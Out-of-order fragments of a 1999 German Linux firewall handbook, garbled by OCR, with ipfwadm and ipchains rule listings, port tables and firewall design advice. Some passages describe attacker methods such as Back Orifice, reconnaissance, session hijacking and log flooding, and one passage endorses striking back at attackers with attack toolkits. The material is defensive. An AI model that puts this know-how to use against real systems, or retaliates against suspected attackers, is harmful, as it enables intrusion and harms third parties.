161. Erweiterungen in der SINUS Firewall 14 18 SINUS Firewall 1 TCP IP Stack 14 19 TCP sequence number checking 14 20 Design der internen Kommunikation 14 21 SINUS Firewall 1 und der LINUX Kernel 14 22 Ubersicht 14 23 Komponenten der SINUS Firewall 1 14 24 Starten des Firewall Damons 14 25 Konfiguration der Filterfunktionen durch das Firewall Device 14 26 Counter Intelligence 14 27 Firewall Konfiguration 14 28 Der Packettfilter Erstellt von Doc Gonzo http kickme to plugins 15 SINUS Firewall Installation 15 1 nderungen im Kernel 15 2 Entpacken des Firewall Quellcodes 15 3 Programmierung der Firewall 15 4 Start und berwachung der Firewall 15 5 berpr fung der Konfiguration 15 6 Anzeige der g ltigen Regeln 15 7 Counter Intelligence 15 8 Installation des JAVA Interface 15 9 Die Benutzeroberfl che der SINUS Firewall 15 10 Grenzen der SINUS Firewall 1 16 Allgemein Architektur von Firewalls 16 1 Fallstricke beim Aufbau der Firewall 17 Filterregeln und Erkl rungen 17 1 Das ACK Bit 17 2 Sicherheitshinweise zur Generierung von Firewallregeln 18 bersicht Filterregeln 18 1 Mail Dienste 18 2 FTP Filetransfer 18 3 TELNET Administration 18 4 R Kommandos von BSD 18 5 NNTP Dienste Newsgroups 18 6 HTTP WWW Dienste 18 7 Datenbank Dienste 18 8 Kommunikation Information 18 9 DNS Dienste 18 10 Logging Dienste 18 11 Routing Dienste 18 12 Sonstige Dienste 18 13 Generelle Gefahren bei UDP Pr
162. FACE S NAMESERVER_3 53 D IPADDR 53 Se Oe ipfwadm O a accept W EXTERNES_INTERFACE S IPADDR 53 D NAMESERVER_3 53 Sho OH OH OH DNS Client ist ok ipfwadm I a accept P udp W EXTERNES_INTERFACE S NAMESERVER_1 53 D IPADDR UNPRIVPORTS ipfwadm O a accept P udp W EXTERNES_INTERFACE S IPADDR UNPRIVPORTS D NAMESERVER_1 53 ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S NAMESERVER_1 53 D IPADDR UNPRIVPORTS ipfwadm O a accept P tcp W EXTERNES_INTERFACE S IPADDR UNPRIVPORTS D NAMESERVER_1 53 Erstellt von Doc Gonzo http kickme to plugins ipfwadm I a accept Pudp W EXTERNES_INTERFACE S NAMESERVER_2 53 D IPADDR UNPRIVPORTS ipfwadm O a accept Pudp W EXTERNES_INTERFACE S IPADDR UNPRIVPORTS D NAMESERVER 253 ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S NAMESERVER_2 53 D IPADDR UNPRIVPORTS ipfwadm O a accept P tcp W EXTERNES_INTERFACE S IPADDR UNPRIVPORTS D NAMESERVER_2 53 ipfwadm I a accept P udp W EXTERNES_INTERFACE S NAMESERVER_3 53 D IPADDR UNPRIVPORTS ipfwadm O a accept P udp W EXTERNES_ INTERFACE S IPADDR UNPRIVPORTS D NAMESERVER_3 53 ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S NAMESERVER_3 53 D IPADDR UNPRIVPORTS ipfwadm O a accept P tcp W EXTERNES_INTERFACE S IPADDR UNPRIVPORTS D NAMESERVER 3 53 SSH serve
163. FTP PROXY unter der sehr viele Firewall Proxy s leiden Es erm glicht den Aufbau eines Tunnels durch die Firewall hindurch um z B Server im Intranet fernzusteuern oder Daten zu entf hren 23 15 Ver nderungen an Adre b chern f r E Mail Viele E Mail Clients Lotus P Mail Exchange Netscape besitzen ein ver nderbares Adre buch welches teils von Usern selber oder unternehmensweit von Adminsitratoren gepflegt wird Angreifer interessieren sich f r solche Adre b cher vor allem wenn sie den ganzen Kundenstamm enthalten Es ist z B m glich sich als Nichtkunde auf eine hausinterne Mailingliste zu setzen und so viel ber das Unternehmen selber und seine Mitarbeiter zu erfahren 23 16 Beschreibung von Back Orifice genannt BO BO ist ein Werkzeug zur Fernadministration eines Servers oder einer Arbeitsstation Voraussetzung ist da das Serverprogramm irgendwie so in den Startmechanismus eingebunden ist da es jedesmal BO startet BO arbeitet nicht wie ein Virus sondern mu remote installiert werden Hier mu der Angreifer R W Zugriff auf die Festplatte C des Rechners Windows 95 98 NT bekommen Am meisten waren in der Vergangenheit Rechner betroffen die via Modem oder ISDN sich direkt in das Internet eingew hlt haben und gleichzeitig Ihre Festplatte allgemein via NetBIOS over TCP IP oder IPX freigegeben Erstellt von Doc Gonzo http kickme to plugins hatten Ziel von Angriffen waren insbesondere Telekom Kund
164. Fernwartung ist ein eigenes Kapitel gewidmet da das Thema nicht ganz trivial ist 9 4 Kernel Optionen Im Abschnitt ber IPCHAINS Kapitel Kernel Optionen sind eine ganze Reihe von sicherheitsrelavanten Optionen angegeben die sich im Kernel justieren lassen Da man bei den Distributionen nie genau wei welche dieser sicherheitsrelavanten Optionen aktiviert oder deaktiviert sind sollte man sich stets den Kernel neu kompilieren und die in obigem Kapitel angegeben Optionen entsprechend einstellen Wie wichtig diese Einstellungen sind wird im Text selber erl utert Alle anderen Optionen sollten nach M glichkeit deaktiviert werden 9 5 Die Firewall Policy In einer Firewall exisitiert eine default policy Diese beschreibt das Verhalten wenn keine Regel aktiv ist Es gibt zwei M glichkeiten Entweder die Firewall l t alle Pakete passieren oder sie blockt alle ab In dem ersten Fall mu der Firewall explizit mitgeteilt werden was verboten ist in dem anderen Fall mu ihr mitgeteilt werden was erlaubt ist alles andere ist dann n mlich verboten Da der Mensch gerne etwas vergi t sollte man sich sicherheitshalber f r die zweite M glichkeit entscheiden Es gibt aber auch Ausnahmen Kapitel Firewall Tuning Wir bauen nun die Firewall Regeln Schritt f r Schritt auf Am Anfang steht immer die Policy Genaugenommen stehen die Spoofing Regeln stets am Anfang diesen ist aber sp ter ein eigenes Kapitel Spoofing gewidmet Default
165. Firewall Handbuch f r LINUX 2 0 und 2 2 Guido Stepken stepken little idiot de Version 3 0 30 August 1999 Dieses Handbuch beschreibt detailiert den Aufbau von LINUX Firewalls mit ipfwadm ipchains und der SF Firewall von Robert Muchsel und Roland Schmidt von der ETH Z rich Die Handb cher zu diesen Firewalls sind in diesem Buch vollst ndig in deutsch enthalten Weiterhin ist eine recht umfangreiches Nachschlagewerk zu allen blichen Protokollen enthalten beginnend mit telnet ber ftp sql bis hin zu einer genauen Beschreibung des netmeeting Protokolls und einer Analyse warum man hierf r besser keinen Firewallproxy einsetzen sollte Dem Thema Denial of Service Angriffe wird hier besondere Aufmerksamkeit gewidmet Es werden m gliche DoS Angriffe auf kommerzielle Firewalls und die verwendeten Werkzeuge detailliert vorgestellt Damit der Leser einen Eindruck davon bekommt wie echte Cracker vorgehen um sich Zugang zu Servern in Unternehmen zu verschaffen welche Informationen sie sich wie beschaffen sind hier einige u erst praxisnahe Beispiele anschaulich beschrieben Wer wissen m chte wie gro die tats chliche Zahl von Angriffen auf Internet und Intranet Server ist der mag sich diesen Abschnitt durchlesen Die tats chliche Zahl von Angriffen auf Unternehmen Ein eigener Abschnitt wurde der Erstellung einer Security Policy in einem gr eren Netzwerk gewidment Ein gro er Fragenkatalog mag hier dem erfahrenen Systemadministrator
166. Gonzo http kickme to plugins Sicherheit hat aber der counter intelligence Mechanismus verhindert da der Systemadministrator entdecken k nnte da die Ports tats chlich ge ffnet sind So f hren Firewalls Portscanner in die Irre und verhindern da Sicherheitsl cken entdeckt werden k nnen F r einen unerfahrenen Administrator ist dieses unm glich zu durchschauen Ein Traceroute sagt vielleicht mehr aus 13 access2 fa2 1 O nl1 concert net 195 99 66 3 65 666 ms 43 910 ms 47 275 ms 14 194 73 74 110 194 73 74 110 84 096 ms 84 434 ms 85 156 ms 15 ns nobbelazzo com 195 99 32 6 60 055 ms 82 062 ms 65 236 ms Es scheint da 194 73 74 110 der belt ter zu sein der die Portscans verhindert eine genauere Analyse des TCP Inkrements z B wird einem erfahreneren Angreifer genau sagen welche Firewall auf welchem Betriebssystem installiert ist Hierf r ben tigt man aber tiefere Kenntnisse Offensichtlich ist es aber m glich sowohl Port 25 SMAP Port 53 DNS und sogar Port 8080 eine Sicherheitsl cke von au en zu erreichen Die Wahrscheinlichkeit das ein buffer overfow auf Port 8080 und 53 erfolgreich ist ist hoch Port 25 mit SMAP ist bullet proof hat also kaum Chancen auf Erfolg Der Aufbau entspricht der screened host Architektur d h selbst wenn der buffer overflow Angriff erfolgreich w re so m te ein Angreifer doch erhebliche Umwege in Kauf nehmen um nicht entdeckt zu werden Spezielle Angriffe die s
167. Gro e Offsets Fehlerhafte Pr fsummen bei NT 4 0 Overflow des Connection Table Versteckte Firewalls NON IP Installationen und SPF Stateful Paket Filter Firewall 1 vermeiden es m glichst die TCP Datenpakete ber einen eigenen TCP IP Stack zu ver ndern Um bei Performance Tests besser abzuschneiden werden im allgemeinen IP Defragementierung oder die verschiedensten berpr fungen bzw Ver nderungen der TCP Header abgeschaltet PROXY s hingegen besitzen ihren eigenen Stack und f hren vor der Weiterleitung des TCP IP Pakets eine Defragmentierung der IP Pakete eine Reassemblierung aller TCP Erstellt von Doc Gonzo http kickme to plugins Sequenznummern eine berpr fung der CRC Pr fsummen sowie weitere Untersuchungen Spoofing Port IP durch Sequenznummern SSN und Inkrement ISN sind charakteristisch f r Betriebssysteme und Versionen sie zeigen einem Angreifer welche Angriffe z B buffer overflows DoS oder andere mit hoher Wahrscheinlichkeit direkt zum Erfolg f hren und welche Fehler im Betriebssystem mit Sicherheit schon behoben worden sind Nur wenige Hersteller von Betriebssystemen bzw Firewalls bieten eine randomisierung der TCP Sequenznummern an was eine Vorausberechnung der Sequenznummern bzw einen session hijacking attack v llig unm glich macht Eine schnelle Firewall mit SPF Architektur leitet Pakete ohne Ver nderung der TCP Sequnznummern weiter da sie sich darauf verl t da der TC
168. IS Clients benutzen beliebige Portnummern ber 1023 Der WAIS Server selber benutzen meist Port 210 Regel Richtung Protokoll Quellport Zielport Erg nzungen 1 ein TCP gt 1023 210 SYN ACK 2 aus TCP 210 gt 1023 ACK 3 aus TCP gt 1023 210 SYN ACK 4 ein TCP 210 gt 1023 ACK Anmerkungen zu den Regeln 1 Eingehende Sitzung Client an Server ACK gesetzt au er im ersten Paket 2 Eingehende Sitzung Server an Client ACK gesetzt Erstellt von Doc Gonzo http kickme to plugins 3 Ausgehende Sitzung Client an Server ACK gesetzt au er im ersten Paket 4 Ausgehende Sitzung Server an Client ACK gesetzt ARCHIE Datenbank ARCHIE ist ein Dienst auf Basis von UDP Spezielle ARCHIE Clients verwenden Portnummern ber 1023 ARCHIE Server benutzen Port 1525 Regel Richtung Protokoll Quellport Zielport Kommentar 1 aus UDP gt 1023 1525 Ausgehende Anfrage Client an Server 2 ein UDP 1525 gt 1023 _Eingehende Antwort Server an Client 18 8 Kommunikation Information TALK UNIX Chat TALK Server die nur Verbindungen zwischen TALK Clients aushandeln und dann wieder verschwinden benutzen entweder UDP Port 517 bei lteren Versionen von talk oder UDP Port 518 bei neueren Versionen TALK Clients kommunizieren auf UDP Portnummern ber 1023 mit TALK Servern Zur Kommunikation untereinander verwenden talk Clients au erdem TCP Portnummern ber 1023 Regel Richtung Protokoll Quellport Zielport Kommentar ein UDP gt 102
169. IX dient der Anschauung da es im Quellcode ver ffentlicht wurde Das Toolkit bietet guten Schutz aber es fehlt eine Unterst tzung f r moderne Protokolle Es existiert ein allgemein einsetzbarer PROXY ein Schutz vor komplexeren Angriffen bietet dieser aber auch nicht Welches Firewall Betriebssystem Grunds tzlich kann man Firewalls so unterteilen e Firewalls auf DOS Basis mit Winsock WinPkt Treiber Diese kann man als v llig veraltet und berholt ansehen Sie leiden gew hnlich an fast allen DoS Denial of Service Krankheiten e Firewalls auf DOS Basis mit eigenem TCP IP Stack Meist sind diese veraltet es gibt aber auch Hersteller die diese weiterentwickelt haben und supporten Sie besitzen keinerlei Schutz vor Angriffen auf application level es mangelt an Kenntnissen Uber Protokoll Mechanismen und Diensten In vielen Fallen sind DoS Angriffe auf den TCP IP Stack erfolgreich e Firewalls auf Windows 95 98 Basis Diese leiden an allen DoS Krankheiten unter den auch Windows leidet daher sind sie erfahrungsgem instabil Es sind gravierende Fehlkonfigurationen m glich und schwer zu beheben Sie bieten zumeist keinerlei Schutz gegen Angriffe auf application level Das Angebot an PROXY s ist gut es sind aber zumeist generische Proxies die keinerlei Spezialkenntnisse ber die Dienste besitzen SQL Es fehlen oft Filter auf Anwendungsebene e Firewalls auf Windows 95 98 Basis mit eigenem TCP IP Stack Diese k nnen sehr gut geei
170. Informationen ber IP Adresse Ports Flags Protokoll Alle weiteren Pakete sind f r die Firewall nicht zuzuordnen und werden daher generell abgelehnt Falls es also Probleme mit der bertragung von Paketen kommt ist die fehlende Defragmentierung auf der IP Ebene die Ursache Es ist aber m glich mit Hilfe des f flag Regeln f r TCP Pakete ohne SYN Flag das Passieren der Firewall zu erlauben Dies kann insbesondere dann der Fall sein wenn die Firewall als Router oder als Firewall Switch eingesetzt wird Eine Invertierung mit dem Ausrufezeichen ist f r die Option f erlaubt Short Frames oder auch malformed packets werden vom Kernel als Fragmente behandelt Diese k nnen auch bei defekten Netzwerkkarten auftreten Hier werden Logeintr ge vorgenommen also Vorsicht bei der Interpretation dieser Eintr ge Folgendes Beispiel beschreibt eine Firewallregel die alle Fragmente verwirft die als Zieladresse die interne IP Nummer 192 168 1 1 beinhalten ipchains A output f D 192 168 1 1 j DENY Pakete die ber gro e Strecken aus dem Internet an z B die Firewall herangetragen werden sind h ufig fragmentiert Pakete aus der unmittelbaren N he sind niemals Erstellt von Doc Gonzo http kickme to plugins fragmentiert Ein Angreifer der sein Gl ck mit verschachtelten Fragmenten versucht wird aus Gr nden des exakten Timings immer versuchen diese von einem Host aus n chster N he zu generieren z B direkt von dem Bastion
171. Informationen lagern Deswegen sind auch keine Sicherheitsprobleme bekannt Wer sich aber etwas genauer mit den Quellcodes besch ftigt der wird sehen da hier viele Sicherheitsabfragen fehlen und Squid auch in gro er Zahl Gebrauch von den Bibliotheken des Betriebssystems macht Die Sicherheit von Squid und Netscape Proxy h ngt auch entscheidend von der Qualit t des Servers ab doch hierzu mehr sp ter Wenn also von PROXY Firewalls die Rede ist dann sind sicherlich nicht solche Konstruktionen gemeint PROXY Firewalls geh ren zu den langsamsten Firewalls aber auch zu den solidesten Sie besitzen einen eigenen vom Kernel unabh ngigen im allgemeinen solide programmierten TCP IP Stack und umfangreiche Filterm glichkeiten auf Anwendungsebene sowie genaue Kenntnisse der Protokollmechanismen und Dienste Sie besitzen keine derjenigen Schw chen die Firewall Router oder SPF f r Angreifer attraktiv machen Trotzdem sind auch diese gew hnlich relativ einfach zu berwinden Schwachpunkt sind die Arbeitsstationen bzw Server in der DMZ hinter der Firewall Aus praktischen Erw gungen k nnen Anh nge an E Mails und JAVA Skript Active X stets ungehindert die Firewall berwinden nur in den wenigsten F llen wird dies unterbunden Angreifer konzentrieren sich daher immer auf diese Schwachstelle da sie am einfachsten auszunutzen ist Zu den typischen Vertretern der PROXY Firewalls geh rt z B TIS Gauntlet Das TIS FWTK unter LINUX oder BSD UN
172. K gesetzt au er im ersten Paket 2 Eingehende Mail Empf nger an Absender ACK gesetzt 3 Ausgehende Mail Absender an Empf nger ACK gesetzt au er im ersten Paket 4 Ausgehende Mail Empf nger an Absender ACK gesetzt POP e Mail POP ist ein Dienst auf Basis von TCP POP Server f r die aktuelle Version des POP Protokolls die als POP3 bezeichnet wird und bei weitem am h ufigsten Benutzt wird benutzen Port 110 POP Clients benutzen Ports ber 1023 Regel Richtung Protokoll Quellport Zielport Erg nzungen 1 ein TCP gt 1023 110 SYN ACK 2 aus TCP 110 gt 1023 ACK 3 aus TCP gt 1023 110 SYN ACK 4 ein TCP 110 gt 1023 ACK Anmerkungen zu den Regeln 1 Eingehende POP Verbindung vom Client zum Server ACK gesetzt auBer im ersten Paket 2 Eingehende POP Verbindung vom Server zum Client ACK gesetzt 3 Ausgehende POP Verbindung vom Client zum Server ACK geseizt auBer im ersten Paket 4 Ausgehende POP Verbindung vom Server zum Client ACK gesetzt IMAP e Mail IMAP ist ein Dienst auf Basis von TCP Er dient dazu Mails vom Mailserver abzuholen Im Gegensatz zu POP3 muB nicht die ganze Post abgeholt werden es darf auf dem Server selektiert werden IMAP Server benutzen Port 143 Clients benutzen Ports ber 1023 Regel Richtung Protokoll Quellport Zielport Erg nzungen 1 ein TCP gt 1023 143 SYN ACK 2 aus TCP 143 gt 1023 ACK 3 aus TCP gt 1023 143 SYN ACK 4 ein TCP 143 gt 1023 ACK Anmerkungen zu d
173. Last liegt bei ca 200 GByte am Tag und bei durchschnittlich 3500 simultanen Verbindungen zumeist File Downloads Fluten des Logservers einer Firewall Erstellt von Doc Gonzo http kickme to plugins Themen Explosion der Datenmengen bei Angriffen Random attacks und Log Strategien Log Rotation Vernichtung von Spuren Gr e von Festplatten Firewalls erzeugen in manchen F llen erhebliche Mengen an Logfiles besonders dann wenn gegen irgendeine Regel versto en wird So kann ein Angreifer mit ganz wenigen Paketen ber eine langsame Anbindung z B ISDN einen Datenstrom von der Firewall zum Logserver hin erzeugen der nahe der Belastungsgrenze einer Ethernet Anbindung liegt Der Multiplikator kann bis zum ca 200 fachen der Bandbreite des Angriffspaketes betragen also bei ISDN 8 KByte kann ein Angriff f r einen Bandbreite von bis zu 1 6 MByte pro Sekunde zwischen Firewall und Logserver sorgen wenn nicht besondere Ma nahmen ergriffen werden Findige Firewall Hersteller haben daher intelligente Mechanismen eingebaut die z B Mehrfachmeldungen eines oder mehrerer Verst e nur noch einmal aufzeichnen Angreifer kennen nat rlich die Log Strategien fast aller Hersteller und sind so in der Lage mit RANDOM Angriffen verschiedenster Art eine Firewall und oder deren Logserver an den Rand der Leistungsf higkeit zu bringen Bei 2 Mbit Internet Anbindungen ist die Menge der Log Eintr ge sicher das gr te Problem von allen Vi
174. Microsoft die genauen Protokolldetails in den RFC s nicht offenlegt kann also kein sicherer PROXY f r diese Protokolle existieren Wer also Microsoft Windows NT in gro en Netzwerken einsetzt und mit Microsofts Primary Secondary Domain Controller PDC arbeitet der hat ein gro es Problem Es bringt in diesem Falle nichts einzelne Abteilungen mit Firewalls gegen bergriffe eventueller Angreifer abzusichern Es gibt momentan keine Firewalls die eine korrekte Implementierung dieses Protokolls im Proxy besitzen In diesem Fall ich denke da hiervon auch alle Banken Versicherungen und gro en Industrieunternehmen betroffen sind sollte man dringenst auf bew hrte Software aus der UNIX Welt zur ckgreifen sprich NIS Kerberos u s w Microsoft hat zwar angek ndigt diese Protokolle mit NT 5 0 unterst tzen zu wollen nun ja Streaming Protokolle wie REAL AUDIO VIDEO haben ein gro es Problem Erstens ffnen Sie unn tig viele UDP Ports beim Aufbau einer Verbindung alle gt 1024 andererseits sind in vielen F llen bei Manipulation im Datenstrom m glich die zu buffer Erstellt von Doc Gonzo http kickme to plugins overflows f hren F r die Firewall bedeutet dies da Sie UDP Traffic auf dem PORT 31375 ebenfalls zulassen mu was bedeutet da ein Angreifer mit BO von der Firewall unbemerkt Arbeitsstationen im Intranet fernsteuern kann sofern es ihm gelingt ein solches trojanisches Pferd einzuschleusen Der Systemadministra
175. N Router Transfernetz SERVER 1 SERVER 2 WWW FTP DNS Mail News WWW PROXY Firewall lt gt lokales Netz Host A HostB HostC Host D Beispiel 1 INTERNET N MSQ Router lokales Netz Erstellt von Doc Gonzo http kickme to plugins gt HostA HostB HostC HostD Beispiel 2 Betrachten wir einmal die Konfiguration in Beispiel 1 Das Netz besitzt feste vom Provider zugewiesene IP Nummern Die Firewall arbeitet selber nicht als ISDN Router ist aber ber ein Transfernetz 192 168 x x mit dem Router verbunden Die Hosts A D sind Arbeitsplatzrechner die ber den WWW PROXY von Server 1 Zugang zum Internet besitzen Die Firewall schirmt einige Ports des Server 1 ab erlaubt aber Zugriffe auf den WWW Server ber Port 80 HTTP und Port 21 FTP aus dem Internet Server 2 ist ein store and forward PROXY der als interner DNS Server Mail Server und NEWS Server arbeitet Die Firewall erlaubt keinen Zugriff auf Server 2 aus dem Internet Ein Security Check mit SATAN oder SAINT aus dem Internet zeigt keine Probleme alle Filterregeln sind korrekt eingestellt Um es vorweg zu nehmen Ein Angreifer w re in wenigen Minuten in das Netzwerk vorgedrungen Wo liegen die Probleme Problem 1 Der Angreifer sieht von au en nur folgende Ports 25 21 53 und 3128 von Server 1 Server 2 sei abgeschirmt Der A
176. N Timeout f r IDLE connections _ SYN ACK sequence number berpr fung TCP checksum berpr fung RFC 1323 Extended windows scale option Uberpriifung PASV FTP Unterst tzung Erm glicht kontrollierten FTP Zugang von Windows Clients Erkennung von Netzwerkscannern e Eventsteuerung trigger e firewall to firewall IP Layer f r log events und dynamische Firewallregeln Erstellt von Doc Gonzo http kickme to plugins 14 11 Einsatzgebiet der Firewall bei ISP s Die SINUS Firewall eignet sich besonders zum Schutz und zur berwachung vor allem vor TCP IP Angriffen auf Internet Server die in der Vergangenheit immer wieder f r die hohen Ausfallraten verantwortlich waren Sie bietet Schutz vor Angriffen auf den TCP IP Stack und sch tzt gegen SYN Flooding Angriffe counter intelligence Mechanismen versetzt die Firewall in die Lage auf Angriffe mit Gegenma nahmen zu reagieren sowohl passiv als auch proaktiv e Passiv Sperrung von Ports IP Nummern Benachrichtigung des Administrators e Proaktiv Starten von counter intelligence Programmen z B traceroute auf die IP Nummer des Angreifers oder automatische Benachrichtigung des Providers via E Mail In einige hartn ckigen F llen k nnte es notwendig sein den Angreifer mit einen eigenen Mitteln zu schlagen Hierbei kann dann auf ein Reservoir von Angriffs Toolkits zur ckgegriffen werden die die Arbeitsstation des Angreifers stillegen Es sind alle g ngigen Ang
177. P IP Stack des Ziel Servers bei der Zusammensetzung der Pakete Fehler bemerkt Die Vorausberechnung der Sequenznummern ist f r session hijacking also der Ubernahme einer Verbindung nach erfolgter Authentifizierung unbedingt erforderlich hierzu mu der Angreifer sich m glichst nahe an dem Ziel befinden Schnelles Timing ist hier erforderlich Daher funktioniert session hijacking einer bereits authentifizierten Verbindung zu einem Server hinter einer Firewall immer dann wenn die Firewall selber die Sequenznummern nicht randomisiert SPF s haben den Vorteil schnell zu sein leider geht das immer auf Kosten der Sicherheit So lassen einige Firewalls vom Typ SPF inzwischen keine IP fragments oder interlaced fragments mehr passieren wenn eine Reassemblierung von IP Paketen durchgef hrt wird Es k nnen aber die darin enthaltenen TCP Pakete die z B fehlerhafte Pr fsummen oder zu gro e Offsets besitzen immer noch Schaden auf dem Server hinter der Firewall anrichten Die Argumentationsweise der Hersteller besagt da die Firewall nicht alle Pakete wirklich pr fen mu da z B Pakete mit fehlerhafte Pr fsummen CRC ja von dem Betriebssystem hinter der Firewall z B einem NT Server erkannt und erneut angefordert werden w re da nicht der kleine Fehler im TCP IP Stack von NT 4 0 bis SP2 Siehe BUGTRAQ Dieser reagiert auf ein speziell konstruiertes TCP Paket nicht nur mit einer neuen Anforderung dieses fehlerhaften Pakets sondern initiiert zu
178. P und UDP auf IP Ebene aufsetzen existiert also auch hier Schutz vor spoofing Wo liegen also die angeblichen Gefahren von UDP Nun um die Gefahren genau absch tzen zu k nnen mu man bei der Installation der Firewall genau wissen ob ein Erstellt von Doc Gonzo http kickme to plugins Angreifer in den Datenstrom der aus dem Internet ber die Firewall zu einem Host str mt evtl eigene Pakete einschleusen kann Das h ngt dann davon ab welche Auswirkungen auf das Client Programm dies h tte Wie kann er zus tzliche Pakete einschleusen Kennt der Angreifer Portnummern und IP Nummern der beteiligten Partner so kann er Portnummer und IP Nummer spoofen und diese Pakete an die Firewall senden Diese w rde die Pakete akzeptieren und an den Host im Netzwerk weiterleiten Die Firewall verhindert doch spoofing Wie kann das sein Die Firewall kann nur innere von u eren Adressen unterscheiden d h wenn ein Paket mit der IP Nummer aus dem Intranet direkt auf das u ere Gateway trifft dann ist offensichtlich etwas falsch und des wird geblockt Die Firewall kann aber nicht feststellen ob Pakete aus dem Internet alle authentisch sind also ein Paket auch tats chlich von dem angegebenen Host stammt Wir halten fest UDP ist nur dann unsichererer als TCP wenn e Client und Ziel keine UDP Pr fsummen erstellen e Spoofing im Internet bzw au erhalb der Firewall m glich ist e Ein Angreifer auf dem Zielhost direkt Daten manipul
179. PHICAL WALL laufen z B Netscape Hierzu werden auf dem LINUX Server VNC Server installiert VNC ist absolut vergleichbar mit PC ANYWHERE jedoch v llig kostenlos und im Quellcode verf gbar F r jede Arbeitsstation wird ein VNC Server auf den Ports 6000 auf LINUX installiert F r jeden User mu ein eigener VNC Server auf LINUX installiert werden Hierzu werden Ports von 6000 an aufw rts verwendet Auf den Arbeitsstationen wird ein JAVA VNC Client installiert der die virtuelle X Windows Oberfl che von LINUX grafisch auf die Arbeitsstationen bertr gt Informationen von Maus und Tastatur werden von den Arbeitsstationen auf die VNC Server bertragen Jeder Arbeitstation wird dann ein eigener VNC Server zugeordnet Da alle Anwendungen ja auf der LINUX Maschine laufen kann ein Angreifer h chstens in diesen Server eindringen ber die Firewall 2 kommt er nicht hinweg Ich habe eine ganze Reihe von Angriffen durchgef hrt Selbstverst ndlich sind DoS Angriffe auf den LINUX GRAPHICAL WALL Server der stellvertretend f r die User im lokalen Netz surft m glich Hier endeten jedoch alle Wege Der Versuch den Datenstrom zu den Clients hinter Firewall 2 in dem lokalen Netzwerk zu st ren resultierten in PIXEL St rungen auf deren Bildschirmen mehr nicht Weiter kann man als Angreifer nicht kommen Erstellt von Doc Gonzo http kickme to plugins Einen Nachteil hat diese Konstruktion jedoch Der User an der Arbeitsstation kann zwar
180. Pa worte aus anderen Bereichen in Netz e Der Scan nach IP Adressen ist f r 11 notwendig Die Hardwareadressen verraten wer die Netzwerkkarten produziert hat Jeder Hersteller von Servern HP 3COM SUN DEC NOVELL haben ihre charakteristischen reservierten MAC Kennungen Mit Hilfe von diesen lassen sich Hersteller und Lieferdatum von Servern Routern bestimmen Daraus ergeben sich konkrete Hinweise auf das installierte Betriebssystem Eine kurze Recherche in BUGTRAQ Archiv zeigt dann welche Sicherheitsprobleme dieses haben k nnte und der Angreifer findet dort auch auch gew hnlich den exploit e Scan nach Virenscannern soll bei sp teren Angriffen verhindern da sich TSR Programme Terminate Stay Resident und der Virenscanner gegenseitig blockieren Es zeigt auch ob es m glich ist zu einem sp teren Zeitpunkt ein trojanisches Pferd via E Mail ber WinWord Excel oder Powerpoint in das Netzwerk zu schleusen e Das verwendete Betriebssystem die genauen Versionen von Browser E Mail Programm k nnten sp ter wichtig sein Sie zeigen aber auch wie flei ig die Systemadministratoren Sicherheits Updates einspielen Sie erlauben es abzusch tzen ob und wann auf dem Server Sicherheitskorrekturen eingespielt wurden e Die installierte Software zeigt welche Sicherheitsschw chen weiter ausgenutzt werden k nnen e Der Scan nach offenen Portnummern aller IP Adressen im Netz meldet gew hnlich hinter welcher IP Nummer sich ei
181. RVER 119 D IPADDR UNPRIVPORTS FINGER client 79 ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S ANYWHERE 79 D IPADDR UNPRIVPORTS AUTH server 113 ipfwadm I a reject P tcp W EXTERNES_INTERFACE S ANYWHERE D IPADDR 113 AUTH client 113 ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S ANYWHERE 113 D IPADDR UNPRIVPORTS SMTP server 25 ipfwadm I a accept P tcp W EXTERNES_INTERFACE S ANYWHERE UNPRIVPORTS D IPADDR 25 SMTP client 25 ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S SMTP_SERVER 25 D IPADDR UNPRIVPORTS ff oud be IE IE RE Nena N EEE POEM RE See IRC client 6667 ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S ANYWHERE 6667 D IPADDR UNPRIVPORTS RealAudio client ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S ANYWHERE UNPRIVPORTS D IPADDR 554 7070 7071 UDP is the preferred method ipfwadm I a accept P udp W EXTERNES_INTERFACE S ANYWHERE UNPRIVPORTS D IPADDR 6970 7170 FTP server 20 21 ipfwadm I a accept P tcp W EXTERNES_INTERFACE S ANYWHERE UNPRIVPORTS D IPADDR 21 PORT MODE Antworten f r Daten ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S ANYWHERE UNPRIVPORTS D IPADDR 20 PASSIVE MODE Antworten f r Daten ipfwadm I a accept P tcp W EXTERNES_INTERFACE S ANYWHERE UNPRIVPORTS D IPADDR UNPRIVPORTS FTP clie
182. SDI und OpenBSD besitzen zuverl ssige moderne TCP IP Stacks die den unterschiedlichen Anforderungen besonders im Internet und gro en Unternehmen besser gerecht werden Umfangreiche Tuning M glichkeiten erg nzen diese positiven Eigenschaften F r die Auswahl von Betriebssystemen f r Firewalls ergeben sich folgende Konsequenzen F r Firewalls mit vollst ndig eigenem TCP IP Stack ist die Wahl des Betriebssystems egal da es nur als Administrationswerkzeug und Fileserver f r die Log Eintr ge dient Firewalls mit teilweisem oder ohne eigenen TCP IP Stack sollten vorzugsweise auf UNIX mit BSD 4 4 oder SUN Solaris installiert werden F r Hochleistungs Firewalls mit mehreren Prozessoren und GBit oder ATM Karten sollte ber cksichtigt werden da das Timing Verhalten bei schon 100 MBit Ubertragungsrate durch die Parallelisierung der Threads des TCP IP Stacks erhebliche Probleme mit sich bringen kann So passiert es h ufig da Systeme mit mehreren Prozessoren und Interfaces weitaus st rungsanf lliger sind als Server mit bew hrten 10 MBit Interfaces und einem Prozessor Beispiel SUN ATM Windows NT F r mission critical Firewalls sind Einprozessorsysteme die bessere Wahl Insgesamt kenne ich kein System welches als Mehrprozessorsystem hnlich stabil w re Wenn berhaupt dann k nnte man Solaris und OS 2 als stabil und schnell bezeichnen NT mit mehreren Prozessoren ist eine Katastrophe Viele Patches die DoS Angriffe auf Einprozess
